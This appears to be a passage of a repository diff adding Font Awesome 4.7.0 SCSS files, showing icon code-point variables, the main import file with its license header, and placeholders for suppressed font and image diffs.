$fa-var-thermometer-0: "\f2cb";
$fa-var-thermometer-1: "\f2ca";
$fa-var-thermometer-2: "\f2c9";
$fa-var-thermometer-3: "\f2c8";
$fa-var-thermometer-4: "\f2c7";
$fa-var-thermometer-empty: "\f2cb";
$fa-var-thermometer-full: "\f2c7";
$fa-var-thermometer-half: "\f2c9";
$fa-var-thermometer-quarter: "\f2ca";
$fa-var-thermometer-three-quarters: "\f2c8";
$fa-var-thumb-tack: "\f08d";
$fa-var-thumbs-down: "\f165";
$fa-var-thumbs-o-down: "\f088";
$fa-var-thumbs-o-up: "\f087";
$fa-var-thumbs-up: "\f164";
$fa-var-ticket: "\f145";
$fa-var-times: "\f00d";
$fa-var-times-circle: "\f057";
$fa-var-times-circle-o: "\f05c";
$fa-var-times-rectangle: "\f2d3";
$fa-var-times-rectangle-o: "\f2d4";
$fa-var-tint: "\f043";
$fa-var-toggle-down: "\f150";
$fa-var-toggle-left: "\f191";
$fa-var-toggle-off: "\f204";
$fa-var-toggle-on: "\f205";
$fa-var-toggle-right: "\f152";
$fa-var-toggle-up: "\f151";
$fa-var-trademark: "\f25c";
$fa-var-train: "\f238";
$fa-var-transgender: "\f224";
$fa-var-transgender-alt: "\f225";
$fa-var-trash: "\f1f8";
$fa-var-trash-o: "\f014";
$fa-var-tree: "\f1bb";
$fa-var-trello: "\f181";
$fa-var-tripadvisor: "\f262";
$fa-var-trophy: "\f091";
$fa-var-truck: "\f0d1";
$fa-var-try: "\f195";
$fa-var-tty: "\f1e4";
$fa-var-tumblr: "\f173";
$fa-var-tumblr-square: "\f174";
$fa-var-turkish-lira: "\f195";
$fa-var-tv: "\f26c";
$fa-var-twitch: "\f1e8";
$fa-var-twitter: "\f099";
$fa-var-twitter-square: "\f081";
$fa-var-umbrella: "\f0e9";
$fa-var-underline: "\f0cd";
$fa-var-undo: "\f0e2";
$fa-var-universal-access: "\f29a";
$fa-var-university: "\f19c";
$fa-var-unlink: "\f127";
$fa-var-unlock: "\f09c";
$fa-var-unlock-alt: "\f13e";
$fa-var-unsorted: "\f0dc";
$fa-var-upload: "\f093";
$fa-var-usb: "\f287";
$fa-var-usd: "\f155";
$fa-var-user: "\f007";
$fa-var-user-circle: "\f2bd";
$fa-var-user-circle-o: "\f2be";
$fa-var-user-md: "\f0f0";
$fa-var-user-o: "\f2c0";
$fa-var-user-plus: "\f234";
$fa-var-user-secret: "\f21b";
$fa-var-user-times: "\f235";
$fa-var-users: "\f0c0";
$fa-var-vcard: "\f2bb";
$fa-var-vcard-o: "\f2bc";
$fa-var-venus: "\f221";
$fa-var-venus-double: "\f226";
$fa-var-venus-mars: "\f228";
$fa-var-viacoin: "\f237";
$fa-var-viadeo: "\f2a9";
$fa-var-viadeo-square: "\f2aa";
$fa-var-video-camera: "\f03d";
$fa-var-vimeo: "\f27d";
$fa-var-vimeo-square: "\f194";
$fa-var-vine: "\f1ca";
$fa-var-vk: "\f189";
$fa-var-volume-control-phone: "\f2a0";
$fa-var-volume-down: "\f027";
$fa-var-volume-off: "\f026";
$fa-var-volume-up: "\f028";
$fa-var-warning: "\f071";
$fa-var-wechat: "\f1d7";
$fa-var-weibo: "\f18a";
$fa-var-weixin: "\f1d7";
$fa-var-whatsapp: "\f232";
$fa-var-wheelchair: "\f193";
$fa-var-wheelchair-alt: "\f29b";
$fa-var-wifi: "\f1eb";
$fa-var-wikipedia-w: "\f266";
$fa-var-window-close: "\f2d3";
$fa-var-window-close-o: "\f2d4";
$fa-var-window-maximize: "\f2d0";
$fa-var-window-minimize: "\f2d1";
$fa-var-window-restore: "\f2d2";
$fa-var-windows: "\f17a";
$fa-var-won: "\f159";
$fa-var-wordpress: "\f19a";
$fa-var-wpbeginner: "\f297";
$fa-var-wpexplorer: "\f2de";
$fa-var-wpforms: "\f298";
$fa-var-wrench: "\f0ad";
$fa-var-xing: "\f168";
$fa-var-xing-square: "\f169";
$fa-var-y-combinator: "\f23b";
$fa-var-y-combinator-square: "\f1d4";
$fa-var-yahoo: "\f19e";
$fa-var-yc: "\f23b";
$fa-var-yc-square: "\f1d4";
$fa-var-yelp: "\f1e9";
$fa-var-yen: "\f157";
$fa-var-yoast: "\f2b1";
$fa-var-youtube: "\f167";
$fa-var-youtube-play: "\f16a";
$fa-var-youtube-square: "\f166";

View File

@@ -0,0 +1,18 @@
/*!
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/
@import "variables";
@import "mixins";
@import "path";
@import "core";
@import "larger";
@import "fixed-width";
@import "list";
@import "bordered-pulled";
@import "animated";
@import "rotated-flipped";
@import "stacked";
@import "icons";
@import "screen-reader";

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

Binary file not shown.

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

File diff suppressed because it is too large Load Diff

After

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 620 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB